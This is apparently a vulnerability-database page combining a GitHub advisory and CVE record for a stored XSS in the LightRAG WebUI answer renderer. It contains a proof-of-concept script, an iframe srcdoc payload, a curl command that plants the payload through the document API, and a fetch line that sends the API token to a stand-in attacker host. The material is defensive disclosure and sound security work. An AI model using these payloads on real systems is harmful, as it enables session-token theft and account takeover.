Vulnerability-Lookup

GHSA-XPJQ-3W4W-W5WR

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40

Summary

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

Details

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx: - Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform. - Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path. - Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lightrag-hku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-86062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:27Z",
    "nvd_published_at": "2026-09-22T17:17:27Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe LightRAG WebUI renders assistant/answer chat content as **raw HTML** \u2014 `react-markdown` is\nconfigured with `rehypePlugins={[rehypeRaw]}` and `skipHtml={false}` and **no** HTML sanitizer\n(`rehype-sanitize`), element allow-list, or custom `urlTransform`. Because answer content is derived\nfrom user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript\npayload that executes in the browser of any user who later retrieves it (typically an administrator),\nleading to auth-token theft from `localStorage` and full API takeover. No authentication is required in\nthe default configuration.\n\n### Details\nSink \u2014 `lightrag_webui/src/components/retrieval/ChatMessage.tsx`:\n- Main answer (`MessageMarkdown`, lines ~348-351) and thinking content (lines ~252-272) render with\n  `rehypePlugins={[rehypeRaw, \u2026]}` and `skipHtml={false}`. The `components` map (lines ~111-156) only\n  restyles safe formatting tags (`p`, `h1`\u2013`h4`, `ul`, `ol`, `li`, `code`); there is no\n  `rehype-sanitize`, no `allowedElements`/`disallowedElements`, and no custom `urlTransform`.\n- Second sink: mermaid is initialized with `securityLevel: \u0027loose\u0027` (line ~433) and the rendered SVG is\n  injected via `container.innerHTML = svg` (line ~483) + `bindFunctions(container)`. `\u0027loose\u0027` disables\n  mermaid\u0027s output sanitization, so a ` ```mermaid ` block in answer content (HTML label / `click`\n  directive) is an additional script-execution path.\n- Hardening (not code execution): KaTeX is set with `trust: true` (lines ~261/~359). `\\href{javascript:\u2026}`\n  is blocked by React 19, but `\\includegraphics{URL}` renders a live remote `\u003cimg src\u003e` (arbitrary\n  external resource load from the victim\u0027s browser). Recommend `trust: false`.\n\nSource \u2192 sink:\n`POST /documents/text` or `POST /documents/upload` stores the document \u2192 `POST /query` returns it\n(verbatim when `only_need_context=true`, `lightrag/api/routers/query_routes.py:27`; otherwise echoed by\nthe LLM) \u2192 the response is streamed into `assistantMessage.content`\n(`lightrag_webui/src/features/RetrievalView.tsx:340`) \u2192 rendered by the sink above.\n\nreact-markdown\u0027s built-in defenses do NOT cover this: it sanitizes `href`/`src` URLs (so `javascript:`\nlinks are blocked) and React ignores string event handlers (so `\u003cimg onerror\u003e` is dropped), but raw\nelements such as `\u003ciframe srcdoc=\"\u2026\"\u003e` and `\u003csvg\u003e\u003cscript\u003e` are rendered unchanged and execute.\n\n### PoC\nBenign, local-only. Tested at commit `f3378a3` (v1.5.5) with `react@19`, `react-markdown@10.1.0`,\n`rehype-raw@7.0.0`.\n\n**Fastest check (code review, ~10s):** in `ChatMessage.tsx`, the `\u003cReactMarkdown\u003e` that renders answers\nuses `rehypePlugins={[rehypeRaw, \u2026]}` with `skipHtml={false}` and no `rehype-sanitize` / allow-list.\nPer react-markdown\u0027s own documentation, `rehype-raw` on untrusted input without `rehype-sanitize`\nallows HTML injection \u2014 that is the vulnerability.\n\n**Runnable proof (~2 min) \u2014 reproduces the exact renderer config and shows it execute in a browser:**\n```bash\nmkdir xss-check \u0026\u0026 cd xss-check\nnpm init -y\nnpm install react@19 react-dom@19 react-markdown@10 rehype-raw@7\n# save the script below as poc.mjs, then:\nnode poc.mjs\n# open the generated poc.html in any browser (or headless):\n#   msedge --headless=new --dump-dom \"file:///ABS/PATH/poc.html\"\n```\n`poc.mjs`:\n```js\nimport React from \u0027react\u0027;\nimport { renderToStaticMarkup } from \u0027react-dom/server\u0027;\nimport ReactMarkdown from \u0027react-markdown\u0027;\nimport rehypeRaw from \u0027rehype-raw\u0027;\nimport { writeFileSync } from \u0027fs\u0027;\n\n// Stands in for an assistant answer built from an ingested document.\nconst answer =\n  `\u003ciframe srcdoc=\"\u003cscript\u003e` +\n  `var h=parent.document.createElement(\u0027h1\u0027);h.style.color=\u0027red\u0027;` +\n  `h.textContent=\u0027XSS EXECUTED on \u0027+(parent.document.domain||\u0027this page\u0027);` +\n  `parent.document.body.appendChild(h);parent.document.title=\u0027XSS-EXECUTED\u0027;` +\n  `\u003c\\/script\u003e\"\u003e\u003c/iframe\u003e`;\n\n// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):\nconst body = renderToStaticMarkup(\n  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)\n);\nwriteFileSync(\u0027poc.html\u0027, `\u003c!doctype html\u003e\u003ctitle\u003ebefore-xss\u003c/title\u003e\u003cbody\u003e${body}\u003c/body\u003e`);\nconsole.log(body);   // note the LIVE \u003ciframe srcDoc=\"...\"\u003e \u2014 not HTML-escaped\n```\n\n**Observed** (verified in headless Chromium/Edge): the injected `srcdoc` script runs \u2014 the page title\nbecomes `XSS-EXECUTED` and a red \"XSS EXECUTED on this page\" heading is appended to the document. This\nconfirms attacker HTML in answer content executes. (Separately: `\u003cscript\u003e`, `\u003csvg\u003e\u003cscript\u003e`, and\n`\u003ciframe srcdoc\u003e` survive rendering; `\u003cimg onerror\u003e` and `javascript:` links are neutralized by React /\nreact-markdown, so `\u003ciframe srcdoc\u003e` is the reliable vector.)\n\n**Illustrative end-to-end source path (in a live instance):**\n```bash\ncurl -X POST http://127.0.0.1:9621/documents/text \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"text\":\"\u003ciframe srcdoc=\\\"\u0026lt;script\u0026gt;document.title=document.domain\u0026lt;/script\u0026gt;\\\"\u003e\u003c/iframe\u003e\",\"file_source\":\"note.md\"}\u0027\n```\nThen query the knowledge base from the WebUI (or `POST /query` with `only_need_context=true`); the stored\npayload renders and the benign marker script runs in the viewer\u0027s browser (the page title becomes the\norigin). A real attacker replaces the benign marker with\n`fetch(\u0027//attacker/?t=\u0027+localStorage.getItem(\u0027LIGHTRAG-API-TOKEN\u0027))` to exfiltrate the victim\u0027s JWT\n(verified storage key) and impersonate them against the API.\n\n### Impact\nStored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any\nauthenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs\narbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the\nauth token in `localStorage`, the injected script can read it and drive the API as the victim\n(exfiltrate/modify/delete the knowledge base and graph, upload documents) \u2014 i.e. escalate to full\naccount/instance takeover.",
  "id": "GHSA-xpjq-3w4w-w5wr",
  "modified": "2026-09-22T20:40:27Z",
  "published": "2026-09-22T20:40:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-xpjq-3w4w-w5wr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86062"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/pull/3437"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/8bf032a5200f293b482dd945d436e25cd08bd953"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/LightRAG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content"
}

CVE-2026-86062 (GCVE-0-2026-86062)

Vulnerability from cvelistv5 – Published: 2026-09-22 16:21 – Updated: 2026-09-22 18:17

Title

LightRAG: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

Summary

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, lightrag_webui/src/components/retrieval/ChatMessage.tsx renders answer and thinking content with react-markdown, rehypeRaw, and skipHtml=false without an HTML sanitizer. An attacker who can add a document can store raw HTML that is returned through the query path and rendered as active content by MessageMarkdown. A user who later retrieves the content can execute attacker-controlled JavaScript through elements such as an iframe srcdoc; the additional Mermaid securityLevel: loose rendering path also injects generated SVG through innerHTML. The script runs in the LightRAG WebUI origin and can read the API token in localStorage and perform API actions as the victim. This issue is fixed in version 1.5.5.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-22 18:14 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/HKUDS/LightRAG/security/adviso…	x_refsource_CONFIRM
https://github.com/HKUDS/LightRAG/pull/3437	x_refsource_MISC
https://github.com/HKUDS/LightRAG/commit/8bf032a5…	x_refsource_MISC
https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
HKUDS	LightRAG	Affected: < 1.5.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-86062",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-22T18:14:49.454452Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-22T18:17:00.212Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-xpjq-3w4w-w5wr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "LightRAG",
          "vendor": "HKUDS",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.5.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, lightrag_webui/src/components/retrieval/ChatMessage.tsx renders answer and thinking content with react-markdown, rehypeRaw, and skipHtml=false without an HTML sanitizer. An attacker who can add a document can store raw HTML that is returned through the query path and rendered as active content by MessageMarkdown. A user who later retrieves the content can execute attacker-controlled JavaScript through elements such as an iframe srcdoc; the additional Mermaid securityLevel: loose rendering path also injects generated SVG through innerHTML. The script runs in the LightRAG WebUI origin and can read the API token in localStorage and perform API actions as the victim. This issue is fixed in version 1.5.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-22T16:21:43.846Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-xpjq-3w4w-w5wr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-xpjq-3w4w-w5wr"
        },
        {
          "name": "https://github.com/HKUDS/LightRAG/pull/3437",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/HKUDS/LightRAG/pull/3437"
        },
        {
          "name": "https://github.com/HKUDS/LightRAG/commit/8bf032a5200f293b482dd945d436e25cd08bd953",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/HKUDS/LightRAG/commit/8bf032a5200f293b482dd945d436e25cd08bd953"
        },
        {
          "name": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
        }
      ],
      "source": {
        "advisory": "GHSA-xpjq-3w4w-w5wr",
        "discovery": "UNKNOWN"
      },
      "title": "LightRAG: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-86062",
    "datePublished": "2026-09-22T16:21:43.846Z",
    "dateReserved": "2026-09-04T19:34:03.099Z",
    "dateUpdated": "2026-09-22T18:17:00.212Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-XPJQ-3W4W-W5WR

Summary

Details

PoC

Impact

CVE-2026-86062 (GCVE-0-2026-86062)

Tags

Sightings

Nomenclature

Related by attack behaviour